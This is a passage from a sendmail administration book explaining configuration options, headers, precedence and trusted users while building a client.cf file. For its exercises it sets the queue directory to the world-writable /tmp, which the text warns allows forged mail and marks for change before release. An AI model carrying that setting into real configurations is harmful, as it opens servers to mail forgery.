  • Use /usr/dict/words as a class file. Does reading a huge file slow sendmail down noticeably? Does this suggest that a database might be more efficient for some needs?

  • Are there security concerns surrounding use of the F command? Imagine ways in which a cracker might exploit a careless use of the F command to compromise your system. Skip ahead to Section 22.4.2, "The F Command - File Form" to explore this question further.

Previous: 12.2 The File Form of Class | sendmail | Next: 13. Setting Options
12.2 The File Form of Class | Book Index | 13. Setting Options


[Chapter 13] Setting Options

sendmailSearch this book
Previous: 12.3 Things to Try Chapter 13 Next: 13.2 Required Options

13. Setting Options

Contents:
Options: An Overview
Required Options
Testing the Options
Sending Mail
Things to Try

The client.cf file is now roughed out enough that it can almost be used to send mail. All that remains are two important loose ends: options, which we cover in this chapter, and headers, which we cover in the next.

Options determine much of the behavior of sendmail. For example, they can specify the location of the queue directory, set the default permissions for files, and list the characters that separate tokens in an address. These and other options will be discussed in this chapter.

13.1 Options: An Overview

Options are declared in the configuration file by beginning a line with the letter O:

OQ/var/spool/mqueue                       <-  single-character name (prior to V8.7)

Prior to V8.7 sendmail, option names could only be a single character. The short (single character) name of the option (here Q) immediately follows the O with no intervening space. The value assigned to a single-character option immediately follows the option letter with no intervening space.

Beginning with V8.7 sendmail, option names may consist of multiple characters:

O QueueDirectory=/var/spool/mqueue        <-  multicharacter name (beginning with V8.7)

 exactly one space

To use multicharacter names, you must separate the name (here QueueDirectory) from the O command with exactly one space character. [1] The value assigned to the multicharacter option follows an equal sign. The equal sign can be surrounded by optional spaces.

[1] If the short option name is a space, sendmail presumes that the option name will be multicharacter.

Some options have both a single-character name and a multicharacter name, in which case the two names are equivalent:

OQ/var/spool/mqueue                       <-  define location of queue directory
O QueueDirectory=/var/spool/mqueue        <-  the same

Other options (the newer ones) only have multicharacter names:

O ServiceSwitchFile=/etc/service.switch         <-  only multicharacter form available

When we mention such options in the text, we will specify the multicharacter name first, followed by the single-character name in parentheses if there is one; for example, the QueueDirectory (Q) option, but the ServiceSwitchFile option.

The values for some options are strings (such as /tmp), while the values for others can be numbers (such as 3), time durations (such as 3d for three days), or a Boolean value (such as True). There are no hard rules for which type of value goes with which option. Instead, you'll need to look up each option in Chapter 34, Options, and use the type indicated there.

Previous: 12.3 Things to Try | sendmail | Next: 13.2 Required Options
12.3 Things to Try | Book Index | 13.2 Required Options


[Chapter 13] 13.2 Required Options

sendmailSearch this book
Previous: 13.1 Options: An Overview Chapter 13
Setting Options 		Next: 13.3 Testing the Options

13.2 Required Options

The sendmail program offers over 70 options to choose from. We will cover a few here and the rest in Chapter 34. Recall that the purpose of our configuration file is to forward all mail to a central mail hub. In keeping with the simplicity of this task, you need to declare only those options shown in Table 13.1 (abstracted from Table 34.4 in Section 34.4, "Alphabetical Table of All Options").[2]

[2] For a description of the Type, leap ahead to Section 34.5, "Option Argument Types".

Table 13.1: Some Required Options
Option Name | Type |  | Description
QueueDirectory (Q) | String | Section 34.8.48, QueueDirectory (Q) | Location of queue directory
Timeout (r) | String | Section 34.8.70, Timeout (r) | Set timeouts
DeliveryMode (d) | Character | Section 34.8.16, DeliveryMode (d) | Set delivery mode
TempFileMode (F) | Octal | Section 34.8.68, TempFileMode (F) | Permissions for temporary files
DefaultUser (u) | String | Section 34.8.15, DefaultUser (g)(u) | Default delivery agent identity
LogLevel (L) | Numeric | Section 34.8.33, LogLevel (L) | Set (increase) logging level
OldStyleHeaders(o) | Boolean | Section 34.8.44, OldStyleHeaders (o) | Allow spaces in recipient lists
BlankSub(B) | Character | Section 34.8.5, BlankSub (B) | Unquoted space replacement

We'll describe each of these required options briefly, add them to the client.cf file, and then test them.

13.2.1 The Location of the Queue Directory

We have already described queue directories (in Section 3.1.2, "The Queue Directory"). Queued mail always looks like authentic mail to sendmail. That is, the sendmail program trusts the mail it finds there, believing that only root placed it there. If the queue directory were world-writable (as /tmp is), anyone could create queued mail and thereby create forged mail messages. To help prevent forged mail, the queue directory should be writable only by root. Unfortunately, for the purpose of our exercises, this would prevent you from sending mail using the client.cf file. You would need to be root, which isn't desirable and may not be possible.

Instead, we will temporarily declare the location of the queue directory to be /tmp. To help you to remember to change the client.cf file later, add a comment now showing the need to make the change and the correct path to use:

O QueueDirectory=/tmp           # BEWARE: use /var/spool/mqueue upon release

Note that on some systems, /var needs to be replaced with /usr.

13.2.2 Limit the Life of Queued Messages

Mail is usually placed into the queue because it could not be transmitted immediately. Periodically, sendmail attempts to retransmit each queued message. If the message has not been delivered after a reasonable interval, sendmail sends a warning to the sender, informing the sender that the message has not yet been delivered but that sendmail will continue to try. After a longer interval in the queue, messages that have not been successfully transmitted are bounced. The Timeout (r) option is used to specify both intervals:

O Timeout.queuewarn=4h
O Timeout.queuereturn=5d

The Timeout (r) option is special in that it takes a dot and a keyword to tell it what to time out. In the first case the keyword queuewarn sets the warning interval. In the second, the keyword queuereturn sets the return (bounce) interval. (The complete list of keywords that apply to the Timeout option is in Section 34.8.70.)

The Timeout option is one that takes a time interval as its argument. Here, 4h represents four hours (if the message is undelivered after four hours, warn the sender and continue to try) and 5d represents five days (return the message to the sender as bounced mail). The letter following the number in each specifies the units. The queuereturn, for example, could have been represented like this:

O Timeout.queuereturn=120h

This tells sendmail to bounce queued mail after 120 hours, which is the same as five days.

Five days may seem like a long time. After all, the mail hub should always be up and always be accepting mail. But suppose the hub crashed on Friday evening and replacement parts weren't available until Thursday morning. In this situation, queued mail on all the clients would start bouncing before the hub was repaired.

In choosing a value for the Timeout (r) option's queuereturn keyword, take into account the worst-case scenario you can imagine. If the hub has same-day service, a value of 1d might be enough. If the hub has to be shipped out for repair, you may want to consider a value such as 14d (two weeks). [3]

[3] You should also consider including MX records for the hub (see Section 21.3, "Set Up MX Records") so that mail will be sent to another server if the hub is down.

13.2.3 The Default Delivery Mode

There are several modes in which the sendmail program can run. Each determines how sendmail interacts with the program that invoked it. For the client.cf file, you want the user's MUA to execute sendmail for message transmission but to give the appearance that the message was sent almost instantaneously. This prevents users from waiting for their prompt to return whenever the mail hub is busy.

The delivery mode to use is called background because it causes sendmail to accept a message and then run in the background (thus allowing the MUA to continue on). The delivery mode is set with the DeliveryMode (d) option:

O DeliveryMode=background

Note that sendmail recognizes only the b of background. So you will sometimes find this same declaration in other configuration files more succinctly expressed like this:

O DeliveryMode=b

Other possible values for the DeliveryMode (d) option are documented in Section 34.8.16.

13.2.4 The Default File Permissions

The sendmail program frequently needs to create new files (such as files in its queue). The file permissions that are given to each created file are determined by the value of the TempFileMode (F) option. That value can range from 0600 (readable and writable only by sendmail) to 0666 (readable and writable by anyone in the world). For security, we'll select the first value - the most restrictive:

O TempFileMode=0600

Note that the value must be expressed in octal notation. (See chmod(1) for details.) The TempFileMode (F) option is further documented in Section 34.8.68.

13.2.5 The Default User Identities

Again, for security, sendmail tries to avoid running as root whenever possible. When delivering failed mail to your ~/dead.letter file, for example, it runs as you. If it finds itself in a situation in which it must not be root but cannot otherwise decide on a real user's identity, sendmail assumes the identity of the user defined by the DefaultUser (u) option:

O DefaultUser=1:1

The uid under which to run (the number to the left of the colon) is here defined to be 1 (for the user daemon). The gid under which to run (the number to the right of the colon) is here defined as 1 (for the group daemon).

The values given to these options may also be names:

O DefaultUser=daemon:daemon

At security-conscious sites these are often set to the user nobody and the group nogroup. The DefaultUser (u) option is further documented in Section 34.8.15.

13.2.6 The Default Logging Level

Recall that the DeliveryMode (d) option told sendmail to run in the background. Because it is running in the background, sendmail should not print information about its activities to your screen. On the other hand, you do want to record information about its activities to help solve future problems.

The method used by sendmail to record its activities is called logging. [4] The setting of the LogLevel (L) option allows you to turn logging completely off or to specify a logging level. The higher the logging level, the more detailed the information that is logged. That is, low levels log only serious problems, middle levels also log statistical information, and high levels include debugging information.

[4] The actual mechanism used is called syslog(3) and is described in Chapter 26, Logging and Statistics.

O LogLevel=9

Here, we've chosen a level of 9. This is a middle level, which, in addition to causing serious problems to be logged, also causes statistics such as message size to be logged.

Typically, logged information is written by the system into a file called syslog by a means documented in Section 26.1, "Logging with syslog". The LogLevel (L) option is further documented in Section 34.8.33.

13.2.7 Accept Old-Style Lists of Addresses

The current standard for specifying multiple recipients is to separate each address from the others with commas. Unfortunately, this has not always been the standard; old software may still exist that separates addresses with spaces:

abe,george,andrew        <-  new style
abe george andrew        <-  old style

To prevent old software from breaking, you need to tell sendmail that the use of spaces is acceptable and that if it finds such old-style lists, it should replace the spaces with commas. You tell sendmail this by specifying the OldStyleHeaders (o) option:

O OldStyleHeaders=True

The value is either true (accept and convert) or false (don't accept). The True makes it true. In actual practice, only the first letter is recognized, and either T or t will work. To turn it off, use F or f (for false) or omit the entire declaration. If you omit the true or false but include the option, it defaults to true. The OldStyleHeaders (o) option is further documented in Section 34.8.44.

13.2.8 The Unquoted Space Replacement Character

Recall from Chapter 8, Addresses and Rules, that any address can be split up into tokens in the workspace. The address is then rewritten according to rules specified in rule sets. After all the tokens have been (possibly) rewritten, they are rejoined to form an address again.

The BlankSub (B) option exists for those times when two adjoining tokens are just words (rather than a word and a separating character). For example, suppose the workspace began by containing the following tokens:

a @ b . c

Then suppose some rule always changed the last two tokens into the single word LOCAL. The result of rewriting would look like this:

a @ b LOCAL

Here we have four tokens, the last two of which are text. The question becomes: What do we insert between them? Unless you tell sendmail to do otherwise, it always sticks a space between them. Therefore the default is to join these tokens together into this:

a@b LOCAL

Because we set the OldStyleHeaders (o) option above to true, this single (but odd) address wrongly becomes two:

a@b, LOCAL

To prevent this kind of mishap, we use the BlankSub (B) option to change the replacement character from a space to a dot:

O BlankSub=.                    # Replace unquoted spaces with a dot.

With this declaration in the configuration file the previous tokens are joined together like this:

a@b.LOCAL

This forms a single address, which is what is wanted. But what does the "unquoted" in the comment mean?

When parts of an address are surrounded in full quotation marks, those parts are viewed by sendmail as a single token. Therefore an address like this:

"abe lincoln"@wash.dc.gov

is tokenized like this:

"abe lincoln"   @   wash   .   dc   .   gov

When these tokens are joined back together, the quoted words abe and lincoln are viewed by sendmail as one token (with a space included), rather than two (with need of a space replacement character). [5] The BlankSub (B) option is further documented in Section 34.8.5.

[5] Actually, the address is sent as is to another site. The BlankSub (B) option at the other site causes the confusion, because the address arrives there unquoted.

Previous: 13.1 Options: An Overview | sendmail | Next: 13.3 Testing the Options
13.1 Options: An Overview | Book Index | 13.3 Testing the Options


[Chapter 13] 13.3 Testing the Options

sendmailSearch this book
Previous: 13.2 Required Options Chapter 13
Setting Options 		Next: 13.4 Sending Mail

13.3 Testing the Options

Now that the necessary options have been described, add them to the client.cf file. As the name "option" implies, the values that you give them are somewhat optional. You are free to change timeouts and the like to values that you consider more appropriate:

V7
# Defined macros
D{REMOTE}mailhost              # The name of the mail hub
D{HUB}mail.us.edu              # Hub as known to the outside world

Cw localhost                   # My other names.
Fw -o /etc/sendmail.cw         # An optional file of other names

# Options                                                                    <-  new
O QueueDirectory=/tmp       # BEWARE: use /var/spool/mqueue upon release     <-  new
O Timeout.queuewarn=4h                                                       <-  new
O Timeout.queuereturn=5d                                                     <-  new
O DeliveryMode=background                                                    <-  new
O TempFileMode=0600                                                          <-  new
O DefaultUser=1:1                                                            <-  new
O LogLevel=9                                                                 <-  new
O OldStyleHeaders=True                                                       <-  new
O BlankSub=.                # Replace unquoted spaces                        <-  new

Take a moment to test these new option declarations. Run sendmail in rule-testing mode with the -d37.1 switch. This will cause each option to be printed as it is found in the client.cf file:

% ./sendmail -d37.1 -Cclient.cf -bt < /dev/null
setoption QueueDirectory (Q).=/tmp (unsafe)
setoption Timeout (r).queuewarn=4h
setoption Timeout (r).queuereturn=5d
setoption DeliveryMode (d).=background
setoption TempFileMode (F).=0600 (unsafe)
setoption DefaultUser (u).=1:1 (unsafe)
setoption LogLevel (L).=9
setoption OldStyleHeaders (o).=True
setoption BlankSub (B).=. (unsafe)

Notice that the options that used to have single-character names (Q instead of QueueDirectory) are printed showing both the new multicharacter name and the single-character name in parentheses.

Second, note that some of the lines end with (unsafe). This is sendmail telling you that it cannot run as root. Whenever you do something unsafe (such as using your own configuration file with the -C switch), sendmail stops being root and becomes you. It prints (unsafe) for each option you specify that only root should be able to use.

Previous: 13.2 Required Options | sendmail | Next: 13.4 Sending Mail
13.2 Required Options | Book Index | 13.4 Sending Mail


[Chapter 13] 13.4 Sending Mail

sendmailSearch this book
Previous: 13.3 Testing the Options Chapter 13
Setting Options 		Next: 13.5 Things to Try

13.4 Sending Mail

The client.cf file is now at a point in its development at which it can be used for sending mail. The mail that it generates will cause problems in a few ways, but we will gloss over those illegalities for now and deal with them in the next chapter. You can send mail to yourself with sendmail like this:

% /usr/lib/sendmail -Cclient.cf you

After you enter this command, sendmail pauses and waits for you to enter the email message you want to send. Enter a To: header line, a Subject: header line, a blank line (to separate the header from the body), and a brief message to yourself, and conclude by entering a dot on a line by itself:

To: you
Subject: testing

testing
.

Your message is now forwarded to the mail hub machine, where (if all has gone well) it is delivered. Using your favorite MUA, read the message you just sent and save it to a file. That file will look something like this:

From you@mail.us.edu Fri Dec 13 05:47:47 1996
Return-Path: <you@mail.us.edu>
Received: from here.us.edu (you@here.us.edu [123.45.67.8]) by mail.us.edu
(8.8.4/8.8.4) with ESMTP id FAA13451 for <you>; Fri, 13 Dec 1996 05:47:46 -0700
Date: Fri, 13 Dec 1996 05:47:46 -0700
From: you@mail.us.edu
Message-Id: <199509091247.FAA13451@mail.us.edu>
To: you
Subject: testing

testing

The first thing to notice in this saved message is that several header lines have been added. You gave sendmail only two lines, a To: and a Subject:, when you ran it, but now there are eight header lines.

These header lines were added by the hub machine. Because they were added by the hub and not by your local machine, a few of them are illegal. The Received: header, for example, shows only that the hub received the message from the local machine. There is no indication (other than by implication) that the local machine received it in the first place.

Another problem is the Message-ID: header. Every email message is supposed to have a message identifier that is guaranteed unique world wide. Part of that identifier is supposed to be the name of the originating machine (your local machine). In the above header, however, it contains the name of the mail hub, mail.us.edu.

We'll fix these problems when we cover headers in the next chapter.

Previous: 13.3 Testing the Options | sendmail | Next: 13.5 Things to Try
13.3 Testing the Options | Book Index | 13.5 Things to Try


[Chapter 13] 13.5 Things to Try

sendmailSearch this book
Previous: 13.4 Sending Mail Chapter 13
Setting Options 		Next: 14. Headers, Precedence, and Trust

13.5 Things to Try

  • What problem would you foresee with declaring the location of the queue directory using a relative pathname? Suppose you used ./tmp (for tmp under the current directory)? What if you were root when you tried this or were not where you thought you were?

  • The LogLevel (L) option uses syslog(3) to record messages. Read the online manual for syslog(3) on your system, and determine where sendmail logging information is stored. Does the logging level that we specified (9) produce too much or too little information? Use tail -f to watch that information while at the same time sending mail with the client.cf file.

  • Why did we specify a To: header when sending mail, when the recipient was already listed in the command line? What happens when you omit the To: header and send mail using client.cf?

Previous: 13.4 Sending Mail | sendmail | Next: 14. Headers, Precedence, and Trust
13.4 Sending Mail | Book Index | 14. Headers, Precedence, and Trust


[Chapter 14] Headers, Precedence, and Trust

sendmailSearch this book
Previous: 13.5 Things to Try Chapter 14 Next: 14.2 Headers Versus Delivery Agent Flags

14. Headers, Precedence, and Trust

Contents:
Headers
Headers Versus Delivery Agent Flags
Headers Learned So Far
Precedence
Sending Real Mail
Trusted User
Things to Try

In the previous chapter you sent mail to yourself and saw that sendmail added several problematic header lines to your message. Also the hub machine added some unsuitable headers. In this chapter we show how to use the H configuration command to add legal headers to a message, the P configuration command to set message priorities, and the T configuration command to define "trusted" users.

14.1 Headers

The header configuration command begins with the letter H. Like all configuration commands, the H is the first character on a line. The H is then followed by the name of a header:

Hname: field

Here, name is the name of a header, such as Subject. The list of all header names that are of interest to sendmail can be found in Chapter 35, Headers. The name is followed by a colon and then text that is appropriate for the header. Optional whitespace can surround the colon.

RFC822 (modified by RFC1123) specifies that certain header lines must appear in all email messages. Of those, the two you will first add to the client.cf file are shown in Table 14.1.

Table 14.1: Two Required Headers
Name | Description | When Added
From: | Address of the sender | If missing
Received: | Record of receipt | Always

Unless otherwise specified (as you will see later), a header that is declared in the configuration file is added to a mail message only if one doesn't already exist. The exception to this rule is the Received: header. It is always added to a mail message, even if there is already one (or more) there.

14.1.1 The From: Header

The From: header contains the official address of the sender. Declaring the From: header is simplicity itself, because it uses as its field a single macro surrounded by angle braces:

HFrom: <$g>

Recall that there are two kinds of macros: those that you define with the D command and those that sendmail defines. The g macro is one of the latter. The value sendmail gives the g macro is the address of the sender (generated by sendmail) as it appears on the envelope. That address, when you are the sender, was generated by the Hubset rule set:

SHubset # Rewrite the sender for the hub
R$-             $@ $1@${HUB}            user -> user@hub

The sender address (you) is rewritten by this rule so that it becomes you@mail.us.edu. That is, the hostname and domain of the hub machine are appended so that the mail appears to come from the hub. This is the envelope address of the sender, and that is the address placed into the g macro. For email sent by you, the value that is given to $g (and thus to the From: header) is:

From: <you@mail.us.edu>

The From: header is added to an outgoing mail message only if there is not already a From: header there. (Often an MUA will add a From: header.) It is placed into the client.cf file to ensure that no mail leaves the local machine without this required header.

14.1.2 The Received: Header

The Received: header is special. It is always added to the header portion of every mail message, even if one or more of them are already present.

The Received: header is used to make a record of each machine that mail has passed through. When sendmail calculates a hop count (to bounce mail with too many hops), it does so by counting the Received: header lines. The declaration of the Received: header is a bit complicated. A minimal Received: header declaration looks like this:

HReceived: by $j; $b

The word by is mandatory. It must be followed by the fully qualified, official name of the local machine. As you saw earlier when you ran sendmail with the -d0.1 debugging switch, the fully qualified name was assigned to the j macro:

============ SYSTEM IDENTITY (after readcf) ============
      (short domain name) $w = here
  (canonical domain name) $j = here.us.edu

                        note

The Received: header definition concludes with a semicolon, followed by the current date and time as stored in $b. The b macro contains the current date in ARPAnet format; that is, the day of the week, the month, the day, the time, the year, and the time zone.

These items in the Received: header form the minimum information required in this header.

14.1.3 Testing So Far

Add the From: and Received: headers to the client.cf file. The new lines in client.cf will look like this:

O OldStyleHeaders=True
O BlankSub=.                    # Replace unquoted spaces with a dot.

# Headers                                                                <-  new
HFrom: <$g>                     # Added only if missing                  <-  new
HReceived: by $j; $b            # Always added                           <-  new

Here, they follow the options that were added in the last chapter. As usual, comments have been included to clarify your intent. See Chapter 31, Defined Macros, for a more detailed explanation of the j and b macros.

Now send mail to yourself just as you did at the end of the preceding chapter:

% ./sendmail -Cclient.cf you
Subject: testing
To: you

testing
.

Retrieve the mail that you just sent, save it to a file, and look at what you saved. It will look something like this:

From you@mail.us.edu Fri Dec 13 05:47:47 1996
Return-Path: <you@mail.us.edu>
Received: from here.us.edu (you@here.us.edu [123.45.67.8]) by
mail.us.edu
(8.8.4/8.8.4) with ESMTP id FAA13451 for <you>; Fri, 13 Dec 1996 05:47:46 -0700
Date: Fri, 13 Dec 1996 05:47:46 -0700
From: you@mail.us.edu (Your Full Name)                                    <-  note
Message-Id: <199509091247.FAA13451@mail.us.edu>
Received: by here.us.edu; Fri, 13 Dec 1996 05:47:44 -0700                 <-  note
Subject: testing
To: you

testing

Notice that a new Received: header was added. This is the one just declared in the client.cf file. The two Received: headers form a trail that shows who first received the message and how it was passed from one machine to the other.

Also notice that the contents of the From: header have changed. Something has removed the angle brackets and added your full name. What happened was this:

  1. On the hub machine the address in the envelope for the sender is taken from the RCPT message that the local machine sends during the SMTP conversation. That address is the value of $g with angle brackets added.

  2. On the hub machine the address in the From: header is compared to the sender envelope address. The address in the From: header that client.cf supplied was the value of $g surrounded in angle brackets.

  3. Whenever the address in the envelope for the sender and the address in the From: header are identical, sendmail removes the From: header and creates a new one. Thus sendmail on a correctly configured hub machine removes the From: header and creates a new one that includes your full name.

The definition of the From: header on a hub is more complex then that in the client.cf file. One possible definition might look like this:

From: $g $?x($x)$.

This is just like the local definition, but it has a macro conditional added. A macro conditional is simply an if-endif construction, where $? is the if and $. is the endif. The preceding definition, then, can be broken down like this:

$?        if
x             the macro x contains a value
($x)            add this to the definition
$.        endif

The macro x contains as its value the full name of the sender. If that full name is not known, x has no value and the full name is omitted. If $x does contain a value, the full name is added in parentheses. Macro conditionals are described in Chapter 31.

Previous: 13.5 Things to Try | sendmail | Next: 14.2 Headers Versus Delivery Agent Flags
13.5 Things to Try | Book Index | 14.2 Headers Versus Delivery Agent Flags


[Chapter 14] 14.2 Headers Versus Delivery Agent Flags

sendmailSearch this book
Previous: 14.1 Headers Chapter 14
Headers, Precedence, and Trust 		Next: 14.3 Headers Learned So Far

14.2 Headers Versus Delivery Agent Flags

Some headers should be inserted into a mail message only if a certain delivery agent is used. For example, one traditionally should include the Full-Name: header when mail is being delivered with UUCP but should not include it for most other delivery agents.

The mechanism that governs inclusion is a list of flags that prefix the header definition in the configuration file. Those flags are composed of a series of one or more letters, all of which are surrounded with a pair of ? characters.

H?flags?name: value

When sendmail decides whether a header is to be added to the mail message, it compares the flags listed with the flags of the delivery agent's F= equate:

Mhub,   P=[IPC], S=Hubset, R=0, F=mDFMuXa, T=DNS/RFC822/SMTP, A=IPC $h

                                  flags

If a given flag (letter) appears in both, the header is added to the mail message. Otherwise, it is not.

Traditionally, for example, the x flag is used to indicate the need for a Full-Name: header. But our hub delivery agent does not have an x in its F= flags. Since that is the only delivery agent we use, we need to add that flag to the client.cf file.

14.2.1 The Full-Name: Header

The Full-Name: header is used to display the full name of the sender, as taken from the gecos field of the passwd(5) file. You saw above how the hub machine tries to add the sender's full name to the From: header. But since you don't necessarily have control over the hub, you should add a Full-Name: header locally, so that the full name is displayed even if the hub fails to add it.

The way to declare the Full-Name: header is like this:

H?x?Full-Name: $?x$x$.         # Add full name if available

First prefix it with the ?x? flag. This means that the Full-Name: header is added only if the delivery agent also contains that flag.

The value given to the Full-Name: header is just like the conditional that you saw earlier. If ($?) the macro x contains a value, use that value ($x), and endif ($.). We use this conditional test so that the full name is added only if it is known.

Next, to make the Full-Name: effective, you need to add an x flag to the hub delivery agent declaration:

Mhub,   P=[IPC], S=Hubset, R=0, F=xmDFMuXa, T=DNS/RFC822/SMTP, A=IPC $h

                                  add

Now any mail that uses the hub delivery agent for a recipient (in other words, all mail) will add a Full-Name: header to the message if there is not already one there. If the full name is known ($x has a value), that name follows the Full-Name: header on the same line; otherwise, the header contains only the header name and is omitted entirely.

14.2.2 The Date: Header

The Date: header is required in all messages to show the time and day that the message originated. It is a good idea to include ?flags? in its definition so that custom delivery agents that do not need the Date: can be designed later.

H?D?Date: $a                    # Add if F=D

The $a is the origin date of the mail message in RFC822 format. That date is set internally by sendmail to be correct for inclusion in the Date: header.

An F=D flag already exists in the hub delivery agent:

Mhub,   P=[IPC], S=Hubset, R=0, F=xmDFMuXa, T=DNS/RFC822/SMTP, A=IPC $h

                                    add the date if missing

That D was originally put in this delivery agent definition with the Date: header in mind.

14.2.3 The Message-ID: Header

The Message-ID: header is used to uniquely identify each mail message. It must be inserted into the message when it is first created (first handled by sendmail). The form of the Message-ID: header is very specific:

H?M?Message-Id: <$t.$i@$j>      # Add if F=M

Here, a ?M? prefix is included. The hub delivery agent definition already has the F=M flag listed:

Mhub,   P=[IPC], S=Hubset, R=0, F=xmDFMuXa, T=DNS/RFC822/SMTP, A=IPC $h

                                      add the message identifier if missing

The field following the Message-ID: must follow particular rules. First, it must be surrounded by angle brackets. Then, what appears between the angle brackets must look like a legal address:

<address>

The address must be composed of pieces of information that uniquely identify the mail message worldwide. We create that address in a way that is commonly used in most configuration files:

<$t.$i@$j>

$t is the current date and time represented by an integer. $i is the local unique identifier for the queue file for this message (even if the message isn't queued), and $j is your host's fully qualified domain name. Other information may be used, provided that the result looks like a legal address and provided that no two identical identifiers ever go out.

Previous: 14.1 Headers | sendmail | Next: 14.3 Headers Learned So Far
14.1 Headers | Book Index | 14.3 Headers Learned So Far


[Chapter 14] 14.3 Headers Learned So Far

sendmailSearch this book
Previous: 14.2 Headers Versus Delivery Agent Flags Chapter 14
Headers, Precedence, and Trust 		Next: 14.4 Precedence

14.3 Headers Learned So Far

Now add all the headers so far described to the client.cf file:

O OldStyleHeaders=True
O BlankSub=.                    # Replace unquoted spaces with a dot.

# Headers                                                       <-  new
HFrom: <$g>                     # Added only if missing         <-  new
HReceived: by $j; $b            # Always added                  <-  new
H?x?Full-Name: $?x$x$.          # Add full name if available    <-  new
H?D?Date: $a                    # Add if F=D                    <-  new
H?M?Message-Id: <$t.$i@$j>      # Add if F=M                    <-  new

Note that the Full-Name: header uses the ?x? flag, so you need to add that same flag to our hub delivery agent definition:

Mhub,   P=[IPC], S=Hubset, R=0, F=xmDFMuXa, T=DNS/RFC822/SMTP, A=IPC $h

                                  new

With these few additions the client.cf file is almost ready to use, but we won't test it yet. First we need to discuss priorities.

Previous: 14.2 Headers Versus Delivery Agent Flags | sendmail | Next: 14.4 Precedence
14.2 Headers Versus Delivery Agent Flags | Book Index | 14.4 Precedence


[Chapter 14] 14.4 Precedence

sendmailSearch this book
Previous: 14.3 Headers Learned So Far Chapter 14
Headers, Precedence, and Trust 		Next: 14.5 Sending Real Mail

14.4 Precedence

The precedence of a mail message determines its position among other messages in the queue when the queue is processed. Precedence, as a header line, also defines whether or not a bounced message should be returned to the sender. Precedences are not hard-coded into sendmail. Instead, they need to be declared in the configuration file. The typical declarations, and the ones we will use, look like this:

Pspecial-delivery=100
Pfirst-class=0
Plist=-30
Pbulk=-60
Pjunk=-100

These lines use the P (precedence) configuration command. Like all configuration commands, the P must begin the line. It is followed by a name, an equal sign, and a value. The general form looks like this:

Pname=value

There are only five possibilities for name that are legal: special-delivery This mail message needs to be processed before any others. This precedence is effective only when the message is being delivered from the queue. first-class Unless otherwise declared with a Precedence: header, the message is first-class by default. list The message originated as part of a mailing list. It should be deferred until other more important mail has been processed from the queue. bulk The message is a broadcast, like a mailing list but less important. If the message can't be delivered, the message body is discarded from the bounced mail. junk Absolutely worthless mail. Test messages and mail from some programs fall into this category. Like bulk, the message body is discarded from the bounced mail.

The value assigned to each name is somewhat arbitrary. The ones that we use are common. As you gain familiarity with the queue and mailing lists, you may want to adjust these values. In general, the higher the number, the higher the precedence. By convention, formal first-class mail has a precedence of zero, with positive numbers used for high-precedence mail and negative numbers used for various kinds of bulk mail.

The P configuration command only tells sendmail the value to assign to a given name. It has no other effect. The values are used only when a mail message is processed that has a Precedence: header line in it. The inclusion of Precedence: header lines is left to MUAs.

To illustrate, imagine that a user on your machine is managing a mailing list. The software that is used to create each message for the list arranges to include a Precedence: header that looks like this:

Precedence: list

The mailing-list message is given to sendmail on the local machine. The local sendmail sees the Precedence: header in the message and extracts the field of that header, the list. It then compares list to each of the name parts of its P configuration lines. It finds a match with the line:

Plist=-30

Because it finds a match, it uses the value from this configuration command as the initial precedence of the mail message. If there is no match (or if the original message lacks a Precedence: header), the initial precedence of the mail message defaults to zero.

Now add P configuration commands to the client.cf file. Traditionally, they are placed after the header commands:

H?D?Date: $a                    # Add if F=D
H?M?Message-Id: <$t.$i@$j>      # Add if F=M

# Precedence                                     <-  new
Pspecial-delivery=100                            <-  new
Pfirst-class=0                                   <-  new
Plist=-30                                        <-  new
Pbulk=-60                                        <-  new
Pjunk=-100                                       <-  new

Previous: 14.3 Headers Learned So Far | sendmail | Next: 14.5 Sending Real Mail
14.3 Headers Learned So Far | Book Index | 14.5 Sending Real Mail


[Chapter 14] 14.5 Sending Real Mail

sendmailSearch this book
Previous: 14.4 Precedence Chapter 14
Headers, Precedence, and Trust 		Next: 14.6 Trusted User

14.5 Sending Real Mail

The client.cf file is now complete and ready to use for sending all kinds of user mail. As you did before, send mail to yourself by using sendmail directly:

% ./sendmail -Cclient.cf you
Subject: testing
To: you

testing
.

Retrieve this message as you usually receive mail and save it to a file. The contents of that file should look something like this:

From you@mail.us.edu Fri Dec 13 05:47:47 1996
Return-Path: <you@mail.us.edu>
Received: from here.us.edu (you@here.us.edu [123.45.67.8]) by mail.us.edu
(8.8.4/8.8.4) with ESMTP id FAA13451 for <you>; Fri, 13 Dec 1996 05:47:46 -0700
Date: Fri, 13 Dec 1996 05:47:44 -0700
From: you@mail.us.edu (Your Full Name)
Message-Id: <199509091244.GAA13434@here.us.edu>                            <-  note
Received: by here.us.edu; Fri, 13 Dec 1996 05:47:44 -0700
Subject: testing
To: you

testing

Note the change between this message's header and that of the previous message you sent. Instead of the hub machine adding a Message-ID: header, the local machine added that header. You can tell because the local machine's name appears there instead of the hub's name.

Actually, the Date: header was also added locally, but there is nothing to indicate that fact. A Date: header should be added locally to accurately reflect the posting date of the message. If you didn't supply a Date: header, instead allowing the hub to supply it, and the hub were down for a while, that header would be inaccurate by the amount of time the hub was down.

Previous: 14.4 Precedence | sendmail | Next: 14.6 Trusted User
14.4 Precedence | Book Index | 14.6 Trusted User


[Chapter 14] 14.6 Trusted User

sendmailSearch this book
Previous: 14.5 Sending Real Mail Chapter 14
Headers, Precedence, and Trust 		Next: 14.7 Things to Try

14.6 Trusted User

A trusted user is one who has three privileges that most users don't have:

  • When mail is delivered via a program of the user's choosing (such as procmail(1)), most users need to have a valid shell in the password file. Without a valid shell, such program delivery is prohibited. Invalid shells often exist for pseudo-users such as news and for all users on restricted servers. A trusted user is exempted from this test.

  • The -f switch causes sendmail to take its idea of the sender from the command line rather than from the envelope or header. Because the -f command line switch can be used to forge mail, sendmail always inserts a warning into the message header. A trusted user is one who is exempted from having such warnings included.

    X-Authentication-Warning: here.us.edu: badperson set sender to bogusname using -f

  • In one of its myriad roles, sendmail can speak SMTP to another program on the same machine. That other program merely has to execute sendmail with a -bs command-line switch and talk on its standard output. The mh(1) program is one such program that can do this. If sendmail is run in this way and if the sender's address doesn't match the executing user's address, then a forged message may be in the works. When sendmail detects such a possible forgery, it inserts a warning into the message header:

    X-Authentication-Warning: here.us.edu: badperson owned process doing -bs

    A trusted user is one who is exempted from having such warnings included.

Trusted users are declared in the configuration file in two ways:

T user1 user2 ....
Ct user1 user2 ....

The first line is the old form of declaration, and the second is the new form (beginning with V8.7 sendmail) form. The two are equivalent, but the second is recommended. In the latter form, names of users are added to the class t.

Trusted users are declared in the client.cf file like this:

